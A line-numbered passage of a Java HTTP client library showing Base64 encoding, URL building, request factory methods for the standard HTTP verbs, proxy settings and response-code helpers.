473 | * Encodes up to three bytes of the array source and writes the 474 | * resulting four Base64 bytes to destination. The source and 475 | * destination arrays can be manipulated anywhere along their length by 476 | * specifying srcOffset and destOffset. This method 477 | * does not check to make sure your arrays are large enough to accomodate 478 | * srcOffset + 3 for the source array or 479 | * destOffset + 4 for the destination array. The 480 | * actual number of significant bytes in your array is given by 481 | * numSigBytes. 482 | *

483 | *

484 | * This is the lowest level of the encoding methods with all possible 485 | * parameters. 486 | *

487 | * 488 | * @param source 489 | * the array to convert 490 | * @param srcOffset 491 | * the index where conversion begins 492 | * @param numSigBytes 493 | * the number of significant bytes in your array 494 | * @param destination 495 | * the array to hold the conversion 496 | * @param destOffset 497 | * the index where output will be put 498 | * @return the destination array 499 | * @since 1.3 500 | */ 501 | private static byte[] encode3to4(byte[] source, int srcOffset, 502 | int numSigBytes, byte[] destination, int destOffset) { 503 | 504 | byte[] ALPHABET = _STANDARD_ALPHABET; 505 | 506 | int inBuff = (numSigBytes > 0 ? ((source[srcOffset] << 24) >>> 8) : 0) 507 | | (numSigBytes > 1 ? ((source[srcOffset + 1] << 24) >>> 16) : 0) 508 | | (numSigBytes > 2 ? ((source[srcOffset + 2] << 24) >>> 24) : 0); 509 | 510 | switch (numSigBytes) { 511 | case 3: 512 | destination[destOffset] = ALPHABET[(inBuff >>> 18)]; 513 | destination[destOffset + 1] = ALPHABET[(inBuff >>> 12) & 0x3f]; 514 | destination[destOffset + 2] = ALPHABET[(inBuff >>> 6) & 0x3f]; 515 | destination[destOffset + 3] = ALPHABET[(inBuff) & 0x3f]; 516 | return destination; 517 | 518 | case 2: 519 | destination[destOffset] = ALPHABET[(inBuff >>> 18)]; 520 | destination[destOffset + 1] = ALPHABET[(inBuff >>> 12) & 0x3f]; 521 | destination[destOffset + 2] = ALPHABET[(inBuff >>> 6) & 0x3f]; 522 | destination[destOffset + 3] = EQUALS_SIGN; 523 | return destination; 524 | 525 | case 1: 526 | destination[destOffset] = ALPHABET[(inBuff >>> 18)]; 527 | destination[destOffset + 1] = ALPHABET[(inBuff >>> 12) & 0x3f]; 528 | destination[destOffset + 2] = EQUALS_SIGN; 529 | destination[destOffset + 3] = EQUALS_SIGN; 530 | return destination; 531 | 532 | default: 533 | return destination; 534 | } 535 | } 536 | 537 | /** 538 | * Encode string as a byte array in Base64 annotation. 539 | * 540 | * @param string 541 | * @return The Base64-encoded data as a string 542 | */ 543 | public static String encode(String string) { 544 | byte[] bytes; 545 | try { 546 | bytes = string.getBytes(PREFERRED_ENCODING); 547 | } catch (UnsupportedEncodingException e) { 548 | bytes = string.getBytes(); 549 | } 550 | return encodeBytes(bytes); 551 | } 552 | 553 | /** 554 | * Encodes a byte array into Base64 notation. 555 | * 556 | * @param source 557 | * The data to convert 558 | * @return The Base64-encoded data as a String 559 | * @throws NullPointerException 560 | * if source array is null 561 | * @throws IllegalArgumentException 562 | * if source array, offset, or length are invalid 563 | * @since 2.0 564 | */ 565 | public static String encodeBytes(byte[] source) { 566 | return encodeBytes(source, 0, source.length); 567 | } 568 | 569 | /** 570 | * Encodes a byte array into Base64 notation. 571 | * 572 | * @param source 573 | * The data to convert 574 | * @param off 575 | * Offset in array where conversion should begin 576 | * @param len 577 | * Length of data to convert 578 | * @return The Base64-encoded data as a String 579 | * @throws NullPointerException 580 | * if source array is null 581 | * @throws IllegalArgumentException 582 | * if source array, offset, or length are invalid 583 | * @since 2.0 584 | */ 585 | public static String encodeBytes(byte[] source, int off, int len) { 586 | byte[] encoded = encodeBytesToBytes(source, off, len); 587 | try { 588 | return new String(encoded, PREFERRED_ENCODING); 589 | } catch (UnsupportedEncodingException uue) { 590 | return new String(encoded); 591 | } 592 | } 593 | 594 | /** 595 | * Similar to {@link #encodeBytes(byte[], int, int)} but returns a byte 596 | * array instead of instantiating a String. This is more efficient if you're 597 | * working with I/O streams and have large data sets to encode. 598 | * 599 | * 600 | * @param source 601 | * The data to convert 602 | * @param off 603 | * Offset in array where conversion should begin 604 | * @param len 605 | * Length of data to convert 606 | * @return The Base64-encoded data as a String if there is an error 607 | * @throws NullPointerException 608 | * if source array is null 609 | * @throws IllegalArgumentException 610 | * if source array, offset, or length are invalid 611 | * @since 2.3.1 612 | */ 613 | public static byte[] encodeBytesToBytes(byte[] source, int off, int len) { 614 | 615 | if (source == null) 616 | throw new NullPointerException("Cannot serialize a null array."); 617 | 618 | if (off < 0) 619 | throw new IllegalArgumentException("Cannot have negative offset: " 620 | + off); 621 | 622 | if (len < 0) 623 | throw new IllegalArgumentException("Cannot have length offset: " + len); 624 | 625 | if (off + len > source.length) 626 | throw new IllegalArgumentException( 627 | String 628 | .format( 629 | "Cannot have offset of %d and length of %d with array of length %d", 630 | off, len, source.length)); 631 | 632 | // Bytes needed for actual encoding 633 | int encLen = (len / 3) * 4 + (len % 3 > 0 ? 4 : 0); 634 | 635 | byte[] outBuff = new byte[encLen]; 636 | 637 | int d = 0; 638 | int e = 0; 639 | int len2 = len - 2; 640 | for (; d < len2; d += 3, e += 4) 641 | encode3to4(source, d + off, 3, outBuff, e); 642 | 643 | if (d < len) { 644 | encode3to4(source, d + off, len - d, outBuff, e); 645 | e += 4; 646 | } 647 | 648 | if (e <= outBuff.length - 1) { 649 | byte[] finalOut = new byte[e]; 650 | System.arraycopy(outBuff, 0, finalOut, 0, e); 651 | return finalOut; 652 | } else 653 | return outBuff; 654 | } 655 | } 656 | 657 | /** 658 | * HTTP request exception whose cause is always an {@link IOException} 659 | */ 660 | public static class HttpRequestException extends RuntimeException { 661 | 662 | private static final long serialVersionUID = -1170466989781746231L; 663 | 664 | /** 665 | * Create a new HttpRequestException with the given cause 666 | * 667 | * @param cause 668 | */ 669 | public HttpRequestException(final IOException cause) { 670 | super(cause); 671 | } 672 | 673 | /** 674 | * Get {@link IOException} that triggered this request exception 675 | * 676 | * @return {@link IOException} cause 677 | */ 678 | @Override 679 | public IOException getCause() { 680 | return (IOException) super.getCause(); 681 | } 682 | } 683 | 684 | /** 685 | * Operation that handles executing a callback once complete and handling 686 | * nested exceptions 687 | * 688 | * @param 689 | */ 690 | protected static abstract class Operation implements Callable { 691 | 692 | /** 693 | * Run operation 694 | * 695 | * @return result 696 | * @throws HttpRequestException 697 | * @throws IOException 698 | */ 699 | protected abstract V run() throws HttpRequestException, IOException; 700 | 701 | /** 702 | * Operation complete callback 703 | * 704 | * @throws IOException 705 | */ 706 | protected abstract void done() throws IOException; 707 | 708 | public V call() throws HttpRequestException { 709 | boolean thrown = false; 710 | try { 711 | return run(); 712 | } catch (HttpRequestException e) { 713 | thrown = true; 714 | throw e; 715 | } catch (IOException e) { 716 | thrown = true; 717 | throw new HttpRequestException(e); 718 | } finally { 719 | try { 720 | done(); 721 | } catch (IOException e) { 722 | if (!thrown) 723 | throw new HttpRequestException(e); 724 | } 725 | } 726 | } 727 | } 728 | 729 | /** 730 | * Class that ensures a {@link Closeable} gets closed with proper exception 731 | * handling. 732 | * 733 | * @param 734 | */ 735 | protected static abstract class CloseOperation extends Operation { 736 | 737 | private final Closeable closeable; 738 | 739 | private final boolean ignoreCloseExceptions; 740 | 741 | /** 742 | * Create closer for operation 743 | * 744 | * @param closeable 745 | * @param ignoreCloseExceptions 746 | */ 747 | protected CloseOperation(final Closeable closeable, 748 | final boolean ignoreCloseExceptions) { 749 | this.closeable = closeable; 750 | this.ignoreCloseExceptions = ignoreCloseExceptions; 751 | } 752 | 753 | @Override 754 | protected void done() throws IOException { 755 | if (closeable instanceof Flushable) 756 | ((Flushable) closeable).flush(); 757 | if (ignoreCloseExceptions) 758 | try { 759 | closeable.close(); 760 | } catch (IOException e) { 761 | // Ignored 762 | } 763 | else 764 | closeable.close(); 765 | } 766 | } 767 | 768 | /** 769 | * Class that and ensures a {@link Flushable} gets flushed with proper 770 | * exception handling. 771 | * 772 | * @param 773 | */ 774 | protected static abstract class FlushOperation extends Operation { 775 | 776 | private final Flushable flushable; 777 | 778 | /** 779 | * Create flush operation 780 | * 781 | * @param flushable 782 | */ 783 | protected FlushOperation(final Flushable flushable) { 784 | this.flushable = flushable; 785 | } 786 | 787 | @Override 788 | protected void done() throws IOException { 789 | flushable.flush(); 790 | } 791 | } 792 | 793 | /** 794 | * Request output stream 795 | */ 796 | public static class RequestOutputStream extends BufferedOutputStream { 797 | 798 | private final CharsetEncoder encoder; 799 | 800 | /** 801 | * Create request output stream 802 | * 803 | * @param stream 804 | * @param charset 805 | * @param bufferSize 806 | */ 807 | public RequestOutputStream(final OutputStream stream, final String charset, 808 | final int bufferSize) { 809 | super(stream, bufferSize); 810 | 811 | encoder = Charset.forName(getValidCharset(charset)).newEncoder(); 812 | } 813 | 814 | /** 815 | * Write string to stream 816 | * 817 | * @param value 818 | * @return this stream 819 | * @throws IOException 820 | */ 821 | public RequestOutputStream write(final String value) throws IOException { 822 | final ByteBuffer bytes = encoder.encode(CharBuffer.wrap(value)); 823 | 824 | super.write(bytes.array(), 0, bytes.limit()); 825 | 826 | return this; 827 | } 828 | } 829 | 830 | /** 831 | * Represents array of any type as list of objects so we can easily iterate over it 832 | * @param array of elements 833 | * @return list with the same elements 834 | */ 835 | private static List arrayToList(final Object array) { 836 | if (array instanceof Object[]) 837 | return Arrays.asList((Object[]) array); 838 | 839 | List result = new ArrayList(); 840 | // Arrays of the primitive types can't be cast to array of Object, so this: 841 | if (array instanceof int[]) 842 | for (int value : (int[]) array) result.add(value); 843 | else if (array instanceof boolean[]) 844 | for (boolean value : (boolean[]) array) result.add(value); 845 | else if (array instanceof long[]) 846 | for (long value : (long[]) array) result.add(value); 847 | else if (array instanceof float[]) 848 | for (float value : (float[]) array) result.add(value); 849 | else if (array instanceof double[]) 850 | for (double value : (double[]) array) result.add(value); 851 | else if (array instanceof short[]) 852 | for (short value : (short[]) array) result.add(value); 853 | else if (array instanceof byte[]) 854 | for (byte value : (byte[]) array) result.add(value); 855 | else if (array instanceof char[]) 856 | for (char value : (char[]) array) result.add(value); 857 | return result; 858 | } 859 | 860 | /** 861 | * Encode the given URL as an ASCII {@link String} 862 | *

863 | * This method ensures the path and query segments of the URL are properly 864 | * encoded such as ' ' characters being encoded to '%20' or any UTF-8 865 | * characters that are non-ASCII. No encoding of URLs is done by default by 866 | * the {@link HttpRequest} constructors and so if URL encoding is needed this 867 | * method should be called before calling the {@link HttpRequest} constructor. 868 | * 869 | * @param url 870 | * @return encoded URL 871 | * @throws HttpRequestException 872 | */ 873 | public static String encode(final CharSequence url) 874 | throws HttpRequestException { 875 | URL parsed; 876 | try { 877 | parsed = new URL(url.toString()); 878 | } catch (IOException e) { 879 | throw new HttpRequestException(e); 880 | } 881 | 882 | String host = parsed.getHost(); 883 | int port = parsed.getPort(); 884 | if (port != -1) 885 | host = host + ':' + Integer.toString(port); 886 | 887 | try { 888 | String encoded = new URI(parsed.getProtocol(), host, parsed.getPath(), 889 | parsed.getQuery(), null).toASCIIString(); 890 | int paramsStart = encoded.indexOf('?'); 891 | if (paramsStart > 0 && paramsStart + 1 < encoded.length()) 892 | encoded = encoded.substring(0, paramsStart + 1) 893 | + encoded.substring(paramsStart + 1).replace("+", "%2B"); 894 | return encoded; 895 | } catch (URISyntaxException e) { 896 | IOException io = new IOException("Parsing URI failed"); 897 | io.initCause(e); 898 | throw new HttpRequestException(io); 899 | } 900 | } 901 | 902 | /** 903 | * Append given map as query parameters to the base URL 904 | *

905 | * Each map entry's key will be a parameter name and the value's 906 | * {@link Object#toString()} will be the parameter value. 907 | * 908 | * @param url 909 | * @param params 910 | * @return URL with appended query params 911 | */ 912 | public static String append(final CharSequence url, final Map params) { 913 | final String baseUrl = url.toString(); 914 | if (params == null || params.isEmpty()) 915 | return baseUrl; 916 | 917 | final StringBuilder result = new StringBuilder(baseUrl); 918 | 919 | addPathSeparator(baseUrl, result); 920 | addParamPrefix(baseUrl, result); 921 | 922 | Entry entry; 923 | Iterator iterator = params.entrySet().iterator(); 924 | entry = (Entry) iterator.next(); 925 | addParam(entry.getKey().toString(), entry.getValue(), result); 926 | 927 | while (iterator.hasNext()) { 928 | result.append('&'); 929 | entry = (Entry) iterator.next(); 930 | addParam(entry.getKey().toString(), entry.getValue(), result); 931 | } 932 | 933 | return result.toString(); 934 | } 935 | 936 | /** 937 | * Append given name/value pairs as query parameters to the base URL 938 | *

939 | * The params argument is interpreted as a sequence of name/value pairs so the 940 | * given number of params must be divisible by 2. 941 | * 942 | * @param url 943 | * @param params 944 | * name/value pairs 945 | * @return URL with appended query params 946 | */ 947 | public static String append(final CharSequence url, final Object... params) { 948 | final String baseUrl = url.toString(); 949 | if (params == null || params.length == 0) 950 | return baseUrl; 951 | 952 | if (params.length % 2 != 0) 953 | throw new IllegalArgumentException( 954 | "Must specify an even number of parameter names/values"); 955 | 956 | final StringBuilder result = new StringBuilder(baseUrl); 957 | 958 | addPathSeparator(baseUrl, result); 959 | addParamPrefix(baseUrl, result); 960 | 961 | addParam(params[0], params[1], result); 962 | 963 | for (int i = 2; i < params.length; i += 2) { 964 | result.append('&'); 965 | addParam(params[i], params[i + 1], result); 966 | } 967 | 968 | return result.toString(); 969 | } 970 | 971 | /** 972 | * Start a 'GET' request to the given URL 973 | * 974 | * @param url 975 | * @return request 976 | * @throws HttpRequestException 977 | */ 978 | public static HttpRequest get(final CharSequence url) 979 | throws HttpRequestException { 980 | return new HttpRequest(url, METHOD_GET); 981 | } 982 | 983 | /** 984 | * Start a 'GET' request to the given URL 985 | * 986 | * @param url 987 | * @return request 988 | * @throws HttpRequestException 989 | */ 990 | public static HttpRequest get(final URL url) throws HttpRequestException { 991 | return new HttpRequest(url, METHOD_GET); 992 | } 993 | 994 | /** 995 | * Start a 'GET' request to the given URL along with the query params 996 | * 997 | * @param baseUrl 998 | * @param params 999 | * The query parameters to include as part of the baseUrl 1000 | * @param encode 1001 | * true to encode the full URL 1002 | * 1003 | * @see #append(CharSequence, Map) 1004 | * @see #encode(CharSequence) 1005 | * 1006 | * @return request 1007 | */ 1008 | public static HttpRequest get(final CharSequence baseUrl, 1009 | final Map params, final boolean encode) { 1010 | String url = append(baseUrl, params); 1011 | return get(encode ? encode(url) : url); 1012 | } 1013 | 1014 | /** 1015 | * Start a 'GET' request to the given URL along with the query params 1016 | * 1017 | * @param baseUrl 1018 | * @param encode 1019 | * true to encode the full URL 1020 | * @param params 1021 | * the name/value query parameter pairs to include as part of the 1022 | * baseUrl 1023 | * 1024 | * @see #append(CharSequence, Object...) 1025 | * @see #encode(CharSequence) 1026 | * 1027 | * @return request 1028 | */ 1029 | public static HttpRequest get(final CharSequence baseUrl, 1030 | final boolean encode, final Object... params) { 1031 | String url = append(baseUrl, params); 1032 | return get(encode ? encode(url) : url); 1033 | } 1034 | 1035 | /** 1036 | * Start a 'POST' request to the given URL 1037 | * 1038 | * @param url 1039 | * @return request 1040 | * @throws HttpRequestException 1041 | */ 1042 | public static HttpRequest post(final CharSequence url) 1043 | throws HttpRequestException { 1044 | return new HttpRequest(url, METHOD_POST); 1045 | } 1046 | 1047 | /** 1048 | * Start a 'POST' request to the given URL 1049 | * 1050 | * @param url 1051 | * @return request 1052 | * @throws HttpRequestException 1053 | */ 1054 | public static HttpRequest post(final URL url) throws HttpRequestException { 1055 | return new HttpRequest(url, METHOD_POST); 1056 | } 1057 | 1058 | /** 1059 | * Start a 'POST' request to the given URL along with the query params 1060 | * 1061 | * @param baseUrl 1062 | * @param params 1063 | * the query parameters to include as part of the baseUrl 1064 | * @param encode 1065 | * true to encode the full URL 1066 | * 1067 | * @see #append(CharSequence, Map) 1068 | * @see #encode(CharSequence) 1069 | * 1070 | * @return request 1071 | */ 1072 | public static HttpRequest post(final CharSequence baseUrl, 1073 | final Map params, final boolean encode) { 1074 | String url = append(baseUrl, params); 1075 | return post(encode ? encode(url) : url); 1076 | } 1077 | 1078 | /** 1079 | * Start a 'POST' request to the given URL along with the query params 1080 | * 1081 | * @param baseUrl 1082 | * @param encode 1083 | * true to encode the full URL 1084 | * @param params 1085 | * the name/value query parameter pairs to include as part of the 1086 | * baseUrl 1087 | * 1088 | * @see #append(CharSequence, Object...) 1089 | * @see #encode(CharSequence) 1090 | * 1091 | * @return request 1092 | */ 1093 | public static HttpRequest post(final CharSequence baseUrl, 1094 | final boolean encode, final Object... params) { 1095 | String url = append(baseUrl, params); 1096 | return post(encode ? encode(url) : url); 1097 | } 1098 | 1099 | /** 1100 | * Start a 'PUT' request to the given URL 1101 | * 1102 | * @param url 1103 | * @return request 1104 | * @throws HttpRequestException 1105 | */ 1106 | public static HttpRequest put(final CharSequence url) 1107 | throws HttpRequestException { 1108 | return new HttpRequest(url, METHOD_PUT); 1109 | } 1110 | 1111 | /** 1112 | * Start a 'PUT' request to the given URL 1113 | * 1114 | * @param url 1115 | * @return request 1116 | * @throws HttpRequestException 1117 | */ 1118 | public static HttpRequest put(final URL url) throws HttpRequestException { 1119 | return new HttpRequest(url, METHOD_PUT); 1120 | } 1121 | 1122 | /** 1123 | * Start a 'PUT' request to the given URL along with the query params 1124 | * 1125 | * @param baseUrl 1126 | * @param params 1127 | * the query parameters to include as part of the baseUrl 1128 | * @param encode 1129 | * true to encode the full URL 1130 | * 1131 | * @see #append(CharSequence, Map) 1132 | * @see #encode(CharSequence) 1133 | * 1134 | * @return request 1135 | */ 1136 | public static HttpRequest put(final CharSequence baseUrl, 1137 | final Map params, final boolean encode) { 1138 | String url = append(baseUrl, params); 1139 | return put(encode ? encode(url) : url); 1140 | } 1141 | 1142 | /** 1143 | * Start a 'PUT' request to the given URL along with the query params 1144 | * 1145 | * @param baseUrl 1146 | * @param encode 1147 | * true to encode the full URL 1148 | * @param params 1149 | * the name/value query parameter pairs to include as part of the 1150 | * baseUrl 1151 | * 1152 | * @see #append(CharSequence, Object...) 1153 | * @see #encode(CharSequence) 1154 | * 1155 | * @return request 1156 | */ 1157 | public static HttpRequest put(final CharSequence baseUrl, 1158 | final boolean encode, final Object... params) { 1159 | String url = append(baseUrl, params); 1160 | return put(encode ? encode(url) : url); 1161 | } 1162 | 1163 | /** 1164 | * Start a 'DELETE' request to the given URL 1165 | * 1166 | * @param url 1167 | * @return request 1168 | * @throws HttpRequestException 1169 | */ 1170 | public static HttpRequest delete(final CharSequence url) 1171 | throws HttpRequestException { 1172 | return new HttpRequest(url, METHOD_DELETE); 1173 | } 1174 | 1175 | /** 1176 | * Start a 'DELETE' request to the given URL 1177 | * 1178 | * @param url 1179 | * @return request 1180 | * @throws HttpRequestException 1181 | */ 1182 | public static HttpRequest delete(final URL url) throws HttpRequestException { 1183 | return new HttpRequest(url, METHOD_DELETE); 1184 | } 1185 | 1186 | /** 1187 | * Start a 'DELETE' request to the given URL along with the query params 1188 | * 1189 | * @param baseUrl 1190 | * @param params 1191 | * The query parameters to include as part of the baseUrl 1192 | * @param encode 1193 | * true to encode the full URL 1194 | * 1195 | * @see #append(CharSequence, Map) 1196 | * @see #encode(CharSequence) 1197 | * 1198 | * @return request 1199 | */ 1200 | public static HttpRequest delete(final CharSequence baseUrl, 1201 | final Map params, final boolean encode) { 1202 | String url = append(baseUrl, params); 1203 | return delete(encode ? encode(url) : url); 1204 | } 1205 | 1206 | /** 1207 | * Start a 'DELETE' request to the given URL along with the query params 1208 | * 1209 | * @param baseUrl 1210 | * @param encode 1211 | * true to encode the full URL 1212 | * @param params 1213 | * the name/value query parameter pairs to include as part of the 1214 | * baseUrl 1215 | * 1216 | * @see #append(CharSequence, Object...) 1217 | * @see #encode(CharSequence) 1218 | * 1219 | * @return request 1220 | */ 1221 | public static HttpRequest delete(final CharSequence baseUrl, 1222 | final boolean encode, final Object... params) { 1223 | String url = append(baseUrl, params); 1224 | return delete(encode ? encode(url) : url); 1225 | } 1226 | 1227 | /** 1228 | * Start a 'HEAD' request to the given URL 1229 | * 1230 | * @param url 1231 | * @return request 1232 | * @throws HttpRequestException 1233 | */ 1234 | public static HttpRequest head(final CharSequence url) 1235 | throws HttpRequestException { 1236 | return new HttpRequest(url, METHOD_HEAD); 1237 | } 1238 | 1239 | /** 1240 | * Start a 'HEAD' request to the given URL 1241 | * 1242 | * @param url 1243 | * @return request 1244 | * @throws HttpRequestException 1245 | */ 1246 | public static HttpRequest head(final URL url) throws HttpRequestException { 1247 | return new HttpRequest(url, METHOD_HEAD); 1248 | } 1249 | 1250 | /** 1251 | * Start a 'HEAD' request to the given URL along with the query params 1252 | * 1253 | * @param baseUrl 1254 | * @param params 1255 | * The query parameters to include as part of the baseUrl 1256 | * @param encode 1257 | * true to encode the full URL 1258 | * 1259 | * @see #append(CharSequence, Map) 1260 | * @see #encode(CharSequence) 1261 | * 1262 | * @return request 1263 | */ 1264 | public static HttpRequest head(final CharSequence baseUrl, 1265 | final Map params, final boolean encode) { 1266 | String url = append(baseUrl, params); 1267 | return head(encode ? encode(url) : url); 1268 | } 1269 | 1270 | /** 1271 | * Start a 'GET' request to the given URL along with the query params 1272 | * 1273 | * @param baseUrl 1274 | * @param encode 1275 | * true to encode the full URL 1276 | * @param params 1277 | * the name/value query parameter pairs to include as part of the 1278 | * baseUrl 1279 | * 1280 | * @see #append(CharSequence, Object...) 1281 | * @see #encode(CharSequence) 1282 | * 1283 | * @return request 1284 | */ 1285 | public static HttpRequest head(final CharSequence baseUrl, 1286 | final boolean encode, final Object... params) { 1287 | String url = append(baseUrl, params); 1288 | return head(encode ? encode(url) : url); 1289 | } 1290 | 1291 | /** 1292 | * Start an 'OPTIONS' request to the given URL 1293 | * 1294 | * @param url 1295 | * @return request 1296 | * @throws HttpRequestException 1297 | */ 1298 | public static HttpRequest options(final CharSequence url) 1299 | throws HttpRequestException { 1300 | return new HttpRequest(url, METHOD_OPTIONS); 1301 | } 1302 | 1303 | /** 1304 | * Start an 'OPTIONS' request to the given URL 1305 | * 1306 | * @param url 1307 | * @return request 1308 | * @throws HttpRequestException 1309 | */ 1310 | public static HttpRequest options(final URL url) throws HttpRequestException { 1311 | return new HttpRequest(url, METHOD_OPTIONS); 1312 | } 1313 | 1314 | /** 1315 | * Start a 'TRACE' request to the given URL 1316 | * 1317 | * @param url 1318 | * @return request 1319 | * @throws HttpRequestException 1320 | */ 1321 | public static HttpRequest trace(final CharSequence url) 1322 | throws HttpRequestException { 1323 | return new HttpRequest(url, METHOD_TRACE); 1324 | } 1325 | 1326 | /** 1327 | * Start a 'TRACE' request to the given URL 1328 | * 1329 | * @param url 1330 | * @return request 1331 | * @throws HttpRequestException 1332 | */ 1333 | public static HttpRequest trace(final URL url) throws HttpRequestException { 1334 | return new HttpRequest(url, METHOD_TRACE); 1335 | } 1336 | 1337 | /** 1338 | * Set the 'http.keepAlive' property to the given value. 1339 | *

1340 | * This setting will apply to all requests. 1341 | * 1342 | * @param keepAlive 1343 | */ 1344 | public static void keepAlive(final boolean keepAlive) { 1345 | setProperty("http.keepAlive", Boolean.toString(keepAlive)); 1346 | } 1347 | 1348 | /** 1349 | * Set the 'http.maxConnections' property to the given value. 1350 | *

1351 | * This setting will apply to all requests. 1352 | * 1353 | * @param maxConnections 1354 | */ 1355 | public static void maxConnections(final int maxConnections) { 1356 | setProperty("http.maxConnections", Integer.toString(maxConnections)); 1357 | } 1358 | 1359 | /** 1360 | * Set the 'http.proxyHost' and 'https.proxyHost' properties to the given host 1361 | * value. 1362 | *

1363 | * This setting will apply to all requests. 1364 | * 1365 | * @param host 1366 | */ 1367 | public static void proxyHost(final String host) { 1368 | setProperty("http.proxyHost", host); 1369 | setProperty("https.proxyHost", host); 1370 | } 1371 | 1372 | /** 1373 | * Set the 'http.proxyPort' and 'https.proxyPort' properties to the given port 1374 | * number. 1375 | *

1376 | * This setting will apply to all requests. 1377 | * 1378 | * @param port 1379 | */ 1380 | public static void proxyPort(final int port) { 1381 | final String portValue = Integer.toString(port); 1382 | setProperty("http.proxyPort", portValue); 1383 | setProperty("https.proxyPort", portValue); 1384 | } 1385 | 1386 | /** 1387 | * Set the 'http.nonProxyHosts' property to the given host values. 1388 | *

1389 | * Hosts will be separated by a '|' character. 1390 | *

1391 | * This setting will apply to all requests. 1392 | * 1393 | * @param hosts 1394 | */ 1395 | public static void nonProxyHosts(final String... hosts) { 1396 | if (hosts != null && hosts.length > 0) { 1397 | StringBuilder separated = new StringBuilder(); 1398 | int last = hosts.length - 1; 1399 | for (int i = 0; i < last; i++) 1400 | separated.append(hosts[i]).append('|'); 1401 | separated.append(hosts[last]); 1402 | setProperty("http.nonProxyHosts", separated.toString()); 1403 | } else 1404 | setProperty("http.nonProxyHosts", null); 1405 | } 1406 | 1407 | /** 1408 | * Set property to given value. 1409 | *

1410 | * Specifying a null value will cause the property to be cleared 1411 | * 1412 | * @param name 1413 | * @param value 1414 | * @return previous value 1415 | */ 1416 | private static String setProperty(final String name, final String value) { 1417 | final PrivilegedAction action; 1418 | if (value != null) 1419 | action = new PrivilegedAction() { 1420 | 1421 | public String run() { 1422 | return System.setProperty(name, value); 1423 | } 1424 | }; 1425 | else 1426 | action = new PrivilegedAction() { 1427 | 1428 | public String run() { 1429 | return System.clearProperty(name); 1430 | } 1431 | }; 1432 | return AccessController.doPrivileged(action); 1433 | } 1434 | 1435 | private HttpURLConnection connection = null; 1436 | 1437 | private final URL url; 1438 | 1439 | private final String requestMethod; 1440 | 1441 | private RequestOutputStream output; 1442 | 1443 | private boolean multipart; 1444 | 1445 | private boolean form; 1446 | 1447 | private boolean ignoreCloseExceptions = true; 1448 | 1449 | private boolean uncompress = false; 1450 | 1451 | private int bufferSize = 8192; 1452 | 1453 | private long totalSize = -1; 1454 | 1455 | private long totalWritten = 0; 1456 | 1457 | private String httpProxyHost; 1458 | 1459 | private int httpProxyPort; 1460 | 1461 | private UploadProgress progress = UploadProgress.DEFAULT; 1462 | 1463 | /** 1464 | * Create HTTP connection wrapper 1465 | * 1466 | * @param url Remote resource URL. 1467 | * @param method HTTP request method (e.g., "GET", "POST"). 1468 | * @throws HttpRequestException 1469 | */ 1470 | public HttpRequest(final CharSequence url, final String method) 1471 | throws HttpRequestException { 1472 | try { 1473 | this.url = new URL(url.toString()); 1474 | } catch (MalformedURLException e) { 1475 | throw new HttpRequestException(e); 1476 | } 1477 | this.requestMethod = method; 1478 | } 1479 | 1480 | /** 1481 | * Create HTTP connection wrapper 1482 | * 1483 | * @param url Remote resource URL. 1484 | * @param method HTTP request method (e.g., "GET", "POST"). 1485 | * @throws HttpRequestException 1486 | */ 1487 | public HttpRequest(final URL url, final String method) 1488 | throws HttpRequestException { 1489 | this.url = url; 1490 | this.requestMethod = method; 1491 | } 1492 | 1493 | private Proxy createProxy() { 1494 | return new Proxy(HTTP, new InetSocketAddress(httpProxyHost, httpProxyPort)); 1495 | } 1496 | 1497 | private HttpURLConnection createConnection() { 1498 | try { 1499 | final HttpURLConnection connection; 1500 | if (httpProxyHost != null) 1501 | connection = CONNECTION_FACTORY.create(url, createProxy()); 1502 | else 1503 | connection = CONNECTION_FACTORY.create(url); 1504 | connection.setRequestMethod(requestMethod); 1505 | return connection; 1506 | } catch (IOException e) { 1507 | throw new HttpRequestException(e); 1508 | } 1509 | } 1510 | 1511 | @Override 1512 | public String toString() { 1513 | return method() + ' ' + url(); 1514 | } 1515 | 1516 | /** 1517 | * Get underlying connection 1518 | * 1519 | * @return connection 1520 | */ 1521 | public HttpURLConnection getConnection() { 1522 | if (connection == null) 1523 | connection = createConnection(); 1524 | return connection; 1525 | } 1526 | 1527 | /** 1528 | * Set whether or not to ignore exceptions that occur from calling 1529 | * {@link Closeable#close()} 1530 | *

1531 | * The default value of this setting is true 1532 | * 1533 | * @param ignore 1534 | * @return this request 1535 | */ 1536 | public HttpRequest ignoreCloseExceptions(final boolean ignore) { 1537 | ignoreCloseExceptions = ignore; 1538 | return this; 1539 | } 1540 | 1541 | /** 1542 | * Get whether or not exceptions thrown by {@link Closeable#close()} are 1543 | * ignored 1544 | * 1545 | * @return true if ignoring, false if throwing 1546 | */ 1547 | public boolean ignoreCloseExceptions() { 1548 | return ignoreCloseExceptions; 1549 | } 1550 | 1551 | /** 1552 | * Get the status code of the response 1553 | * 1554 | * @return the response code 1555 | * @throws HttpRequestException 1556 | */ 1557 | public int code() throws HttpRequestException { 1558 | try { 1559 | closeOutput(); 1560 | return getConnection().getResponseCode(); 1561 | } catch (IOException e) { 1562 | throw new HttpRequestException(e); 1563 | } 1564 | } 1565 | 1566 | /** 1567 | * Set the value of the given {@link AtomicInteger} to the status code of the 1568 | * response 1569 | * 1570 | * @param output 1571 | * @return this request 1572 | * @throws HttpRequestException 1573 | */ 1574 | public HttpRequest code(final AtomicInteger output) 1575 | throws HttpRequestException { 1576 | output.set(code()); 1577 | return this; 1578 | } 1579 | 1580 | /** 1581 | * Is the response code a 200 OK? 1582 | * 1583 | * @return true if 200, false otherwise 1584 | * @throws HttpRequestException 1585 | */ 1586 | public boolean ok() throws HttpRequestException { 1587 | return HTTP_OK == code(); 1588 | } 1589 | 1590 | /** 1591 | * Is the response code a 201 Created? 1592 | * 1593 | * @return true if 201, false otherwise 1594 | * @throws HttpRequestException 1595 | */ 1596 | public boolean created() throws HttpRequestException { 1597 | return HTTP_CREATED == code(); 1598 | } 1599 | 1600 | /** 1601 | * Is the response code a 204 No Content? 1602 | * 1603 | * @return true if 204, false otherwise 1604 | * @throws HttpRequestException 1605 | */ 1606 | public boolean noContent() throws HttpRequestException { 1607 | return HTTP_NO_CONTENT == code(); 1608 | } 1609 | 1610 | /** 1611 | * Is the response code a 500 Internal Server Error? 1612 | * 1613 | * @return true if 500, false otherwise 1614 | * @throws HttpRequestException 1615 | */ 1616 | public boolean serverError() throws HttpRequestException { 1617 | return HTTP_INTERNAL_ERROR == code(); 1618 | } 1619 | 1620 | /** 1621 | * Is the response code a 400 Bad Request? 1622 | * 1623 | * @return true if 400, false otherwise 1624 